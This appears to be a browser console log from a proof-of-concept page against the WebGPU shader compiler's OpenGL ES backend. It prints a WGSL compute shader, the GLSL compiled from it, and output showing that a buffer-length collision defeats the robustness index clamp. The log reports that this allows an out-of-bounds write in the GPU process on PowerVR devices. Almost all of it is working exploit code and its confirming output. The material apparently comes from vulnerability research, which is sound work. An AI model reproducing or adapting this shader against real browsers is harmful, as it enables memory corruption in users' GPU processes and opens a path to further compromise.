[3168:3168:0527/093921.562185:INFO:CONSOLE:9] "adapter: {}", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.241400:INFO:CONSOLE:0] "// Dumped WGSL:

    @group(1) @binding(0) var<storage, read_write> B : array<u32>;
    @compute @workgroup_size(1) fn main() {
      let len = arrayLength(&B);
      B[0] = len;          // observe the (corrupted) arrayLength
      // Robustness wraps the index as min(idx, arrayLength(&B) - 1u). With the
      // collision arrayLength is huge, so this lands at index 1000 -- 4000 bytes
      // into B's GL buffer object, far past the 64-byte bound range.
      B[1000u] = 0xDEAD4A11u;
    }
", source: http://127.0.0.1:8080/poc.html (0)
[3168:3168:0527/093922.243758:INFO:CONSOLE:0] "/* Dumped generated GLSL */
#version 310 es


struct tint_struct_3 {
  uint member_0;
};

layout(binding = 1, std430)
buffer tint_struct_1_ssbo {
  uint member_0[];
} v;
layout(binding = 1, std140)
uniform tint_struct_2_1_ubo {
  uvec4 member_0[1];
} v_1;
layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
void main() {
  uvec4 v_2 = v_1.member_0[0u];
  tint_struct_3 v_3 = tint_struct_3((v_2.x / 4u));
  uint v_4 = v_3.member_0;
  uint v_5 = min(uint(0), (v_3.member_0 - 1u));
  v.member_0[v_5] = v_4;
  v.member_0[min(1000u, (v_3.member_0 - 1u))] = 3735898641u;
}
", source: http://127.0.0.1:8080/poc.html (0)
[3168:3168:0527/093922.254790:INFO:CONSOLE:9] "arrayLength(&B) observed by shader: 262144  (expected 16)", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.254830:INFO:CONSOLE:9] "B[1000] (4000 bytes into B, past 64-byte bound): 0x0", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.254934:INFO:CONSOLE:9] "*** ROBUSTNESS CLAMP DEFEATED ***", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.254967:INFO:CONSOLE:9] "arrayLength(&B) == 262144 == size_of_A/4 (262144)", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.255025:INFO:CONSOLE:9] "Tint emitted min(idx, arrayLength-1) with arrayLength taken from the", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.255067:INFO:CONSOLE:9] "FRAGMENT-only buffer A, so a renderer-chosen index writes past B`s", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.255139:INFO:CONSOLE:9] "glBindBufferRange. On PowerVR GLES (where the toggle is on by default", source: http://127.0.0.1:8080/poc.html (9)
[3168:3168:0527/093922.255281:INFO:CONSOLE:9] "and robust_buffer_access is unreliable) this is a GPU-process OOB write.", source: http://127.0.0.1:8080/poc.html (9)